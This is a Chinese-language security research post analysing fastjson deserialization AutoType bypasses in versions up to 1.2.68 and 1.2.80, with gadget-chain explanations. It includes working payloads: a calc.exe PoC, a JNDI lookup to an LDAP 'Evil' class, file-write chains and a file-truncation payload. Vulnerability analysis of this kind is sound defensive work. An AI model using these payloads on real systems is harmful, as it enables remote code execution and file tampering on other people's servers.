深究fastjson利用分析
fastjson <= 1.2.68
对上个版本的修复
在 1.2.47 版本漏洞爆发之后,官方在 1.2.48 对漏洞进行了修复,在MiscCodec
处理 Class 类的地方,设置了cache 为 false ,并且loadClass
重载方法的默认的调用改为不缓存,这就避免了使用了 Class 提前将恶意类名缓存进去。
更新了一个新的安全控制点 safeMode,如果应用程序开启了 safeMode,将在checkAutoType()
中直接抛出异常,也就是完全禁止 autoType
漏洞概述
在这个版本中主要是通过利用checkAutoType
中的参数expectClass
在ParserConfig#checkAutoType
中, 如果想要加载的类不在白名单中,如果开启了autoTypeSupport
或者expectClassFalg
为True
都是可以的,这里我们需要在不开启autoTypeSupport
的情况下,加载类,所以我们需要使得后者为true
如上图所示,想要expectClassFlag
满足条件,就需要绕过这些内置的黑名单了
所以绕过的方法为:
以某个类作为
expectClass
参数传入checkAutoType
查找反序列化
expectClass
的子类或实现,如果构造方法或setter中含有其它类型可重复第一步构造一个反序列化链,直到找到可以利用的类为止
漏洞分析
总体
我们需要寻找有哪些类或者接口可以通过校验,存有:
白名单(符合白名单条件的类)
TypeUtils.mappings (符合缓存映射中获取的类)
typeMapping (ParserConfig中本身带有的集合)
deserializers (符合反序列化器的类)
在TypeUtils#getClassFromMapping
处打下断点,查看TypeUtils.mappings
的可用类或接口
这里面有很多,比如这个java.lang.AutoCloseable
接口
使用的是JavaBeanDeserializer
反序列化器, 在实例化对象的时候因为该类型是接口,则将会继续解析下一个json字段
如果存在而且为类型(@Type修饰)
就将这个接口作为expectClass
参数传入checkAutoType
检测下一个类型
很明显,这里不会被拦截,使得expectClassFlag
为true
直接一路来到了类加载,绕过了AutoType
的检测,成功加载了恶意类
package pers.fastjson;
import com.alibaba.fastjson.json;
public class Fj68TestPoc {
public static void main(String[] args) {
String payload = "{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"pers.fastjson.Fj68Test\", \"cmd\":\"calc.exe\"}";
json.parseObject(payload);
}
}
对于java.lang.AutoCloseable
的实现非常多,我们需要挖掘实现其的类
细节
期望类存在黑名单过滤
} else {
if (expectClass == Object.class
|| expectClass == Serializable.class
|| expectClass == Cloneable.class
|| expectClass == Closeable.class
|| expectClass == EventListener.class
|| expectClass == Iterable.class
|| expectClass == Collection.class
) {
expectClassFlag = false;
} else {
expectClassFlag = true;
}
}黑名单类,fastjson 在 denyHashCodes 里几乎把常见的容易造成漏洞的类都加进了黑名单,这就造成了攻击成本变高,如果要利用漏洞,只能花费更多的时间去寻未被发现的常用库 gadget
父类、父接口黑名单,fastjson 在判断期望类之前将继承自 ClassLoader、DataSource、RowSet 的类直接抛出异常。
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
|| javax.sql.RowSet.class.isAssignableFrom(clazz) //
) {
throw new jsonException("autoType is not support. " + typeName);
}而常用的 JNDI RCE 类基本上都继承自 DataSource 和 RowSet,所以能找到的 JNDI gadget 基本都无法在这个漏洞中使用。
以上三点足够让大部分常见的 gadget 无法使用
利用链
JNDI
这里主要是针对1.2.50
版本及以前,因为在51
版本就把OracleJDBCRowSet
加入了黑名单
想要利用这个需要有oracle jdbc
依赖
可以知道这里是实现了java.lang.AutoCloseable
接口的,可以绕过autoTypeSupport
调用链如下
在OracleJDBCRowSet#getConnection
中lookup
的参数可控,通过调用getDataSourceName
方法得到
跟进方法,为其父类的方法,且存在相应属性
那怎么调用getConnection
方法呢?
在setCommand方法中存在调用
我们就可以设定一个command
属性值,触发他的setter
方法,达到触发漏洞的目的
Payload
{
"@type":"java.lang.AutoCloseable",
"@type":"oracle.jdbc.rowset.OracleJDBCRowSet",
"dataSourceName":"ldap://localhost:9999/Evil",
"command":"a"
}
文件读写
写文件
浅蓝给的思路:
需要一个通过 set 方法或构造方法指定文件路径的 OutputStream
需要一个通过 set 方法或构造方法传入字节数据的 OutputStream,并且可以通过 set 方法或构造方法传入一个 OutputStream,最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream
需要一个通过 set 方法或构造方法传入一个 OutputStream,并且可以通过调用 toString、hashCode、get、set、构造方法 调用传入的 OutputStream 的 flush 方法
指定文件路径的 排错
{
"@type": "java.lang.AutoCloseable",
"@type": "java.io.FileOutputStream",
"file": "/tmp/test.txt",
"append": "false"
}
但是这里出现了问题:
原因是在JavaBeanInfo#build
方法中调用ASMUtils.lookupParameterNames(constructor)
方法获取构造方法的参数名。如果没找到,则抛出上述异常
使用javap -l
判断是否包含参数名信息
对比发现不同的JDK不一样
payload1
{
'@type':"java.lang.AutoCloseable",
'@type':'sun.rmi.server.MarshalOutputStream',
'out':
{
'@type':'java.util.zip.InflaterOutputStream',
'out':
{
'@type':'java.io.FileOutputStream',
'file':'/tmp/fj_hack_jdk11',
'append':false
},
'infl':
{
'input':
{
'array':'eJzzSK1USMqv1FHwVEjMVQjKT8oPSS3KAABRJwdZ',
'limit':30
}
},
'bufLen':1048576
},
'protocolVersion':1
}
条件
需要时带有调试信息的JDK才可以利用成功(JDK11) 同样可以改造成适用于JDK8的payload
"input": "eJzzSK1USMqv1FHwVEjMVQjKT8oPSS3KAABRJwdZ"
简单分析
我们就按照内到外分析,通过
InflaterOutputStream
的构造方法传入out参数是一个FileOutputStream
指定的输出流路径的输出流对象,而另一个参数是infl
是一个Inflater
对象,通过调用他的setInput
方法,指定buffer数据,值得注意的是他会使用com.alibaba.fastjson.serializer.ByteBufferCodec
这个反序列化器进行处理,该反序列化器会将数据先反序列化为com.alibaba.fastjson.serializer.ByteBufferCodec$ByteBufferBean
,然后再调用ByteBufferCodec$ByteBufferBean#byteBuffer()
方法返回ByteBuffer
对象最后呢,就通过最外层的
MarshalOutputStream
的构造方法,最终执行了flush
,成功写入文件因为这里存在一个解压数据的过程,我们就需要将想写入的数据,压缩之后base64编码
public class InflaterTest {
public static byte[] zlibCompress(String message)throws Exception
{
String chatacter="UTF-8";
byte[] input = message.getBytes(chatacter);
System.out.println("input length "+input.length);
byte[] output = new byte[input.length+10+new Double(Math.ceil(input.length*0.25f)).intValue()];
System.out.println(output.length);
Deflater compresser = new Deflater();
compresser.setInput(input);
compresser.finish();
int compressedDataLength = compresser.deflate(output);
System.out.println("compressedDataLength "+compressedDataLength);
compresser.end();
return Arrays.copyOf(output, compressedDataLength);
}
public static byte[] zlibInfCompress(byte[] barr,String charater)throws Exception{
byte[] result=new byte[barr.length];
Inflater inf=new Inflater();
inf.setInput(barr);
int infLen=inf.inflate(result);
inf.end();
String strOgr=new String(result,charater);
System.out.println("str ogr "+strOgr);
return Arrays.copyOf(result, infLen);
}
public static void main(String[] args)throws Exception{
String str="Hey boy, I am RoboTerh";
byte[] def= InflaterTest.zlibCompress(str);
String strBase=Base64.encodeBase64String(def);
System.out.println("str base64 string "+strBase);
byte[] decStr=Base64.decodeBase64(strBase);
byte[] decode_str= InflaterTest.zlibInfCompress(decStr, "UTF-8");
String decStrOgr=new String(decode_str,"UTF-8");
System.out.println("decStrOgr "+decStrOgr);
}
}
payload2
{
'stream':
{
'@type':"java.lang.AutoCloseable",
'@type':'org.eclipse.core.internal.localstore.SafeFileOutputStream',
'targetPath':'/tmp/dst',
'tempPath':'/tmp/src'
},
'writer':
{
'@type':"java.lang.AutoCloseable",
'@type':'com.esotericsoftware.kryo.io.Output',
'buffer':'base64',
'outputStream':
{
'$ref':'$.stream'
},
'position':19
},
'close':
{
'@type':"java.lang.AutoCloseable",
'@type':'com.sleepycat.bind.serial.SerialOutput',
'out':
{
'$ref':'$.writer'
}
}
}
其他类似
当然还有其他的利用链,比如第一个类使用
org.apache.tools.ant.util.LazyFileOutputStream
指定输出流路径,第二个类使用org.apache.solr.common.util.FastOutputStream
, 第三个使用org.iq80.snappy.SnappyOutputStream
依赖:
org.aspectj
aspectjtools
1.9.5
com.esotericsoftware
kryo
4.0.0
com.sleepycat
je
18.3.12简单分析
首先在
stream
中通过SafeFileOutputStream
创建一个输出流对象,传入参数targetPath
tempPath
, 成功指定输出流路径 然后再writer
中通过Output
的无参构造方法,创建一个输出流对象,通过buffer
的setter方法向缓冲区写入数据, 这里应该是base64,因为其调用链为ObjectArrayCodec.deserializer -> jsonScanner.bytesValue -> IOUtils.decodeBase64
, 最后通过ouputStream
的setter方法将输出流指向stream
中最后在
close
中通过SerialOutput
创建一个输出流对象,并传入参数out, 指向writer中的输出流对象,最后会调用ObjectOutputStream
的构造方法,最后调用Output.flush
,成功写入a) 只要dst存在,PoC就会往src写数据,与src是否存在无关。 b) dst不存在、src存在时,先"mv src dst",再往src写数据。 c) dst、src都不存在时才会往dst写数据。
清空文件
payload
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileOutputStream",
"file":"/tmp/nonexist",
"append":false
}
条件
需要通过ASMUtils.lookupParameterNames()
即需要保留有调试信息
分析
这里就是指定了一个路径的输出流,且设定为覆盖模式,且没有写入数据,导致清空文件内容
同样java.io.FileWriter
也可以达到目的
fastjson <= 1.2.80
对上个版本的修复
将期望类java.lang.AutoCloseable
加入了黑名单
漏洞分析
但是除了AutoCloseable
可以进行绕过,Throwable
也可以进行绕过,简单分析一下
主要是找到一个Deserializer
可以将expressClass
作为checkAutoType
的参数,且能够突破expressClass的限制,正如这里的ThrowableDeserializer#deserialze
中存在
这里限制了必须为Throwable
类或子类,存在一个java.lang.Exception
类,不仅在TypeUtils.mappings
中存在,而且没有在黑名单中
所以只需要找到继承java.lang.Exception
的类,就能够绕过检查
跟进代码,在第一次进入checkAutoType
中的时候expectClass为null,
一直跟进到这里尝试从mappings中获取缓存
之后在ParserConfig#getDeserializer
通过clazz获取到了反序列化器为ThrowableDeserializer
之后调用其derserialize
方法,跟进
之后在这里获取下一个@type
最后在这里将java.lang.Exception
类作为expressClass
传入
也能够成功绕过黑名单的检验
参考
Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析
寻找Fastjson 1.2.68 AutoCloseable利用链(3) (qq.com)
fastjson 读文件 gadget 的利用场景扩展 - 浅蓝 's blog (b1ue.cn)
Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析 (qq.com)
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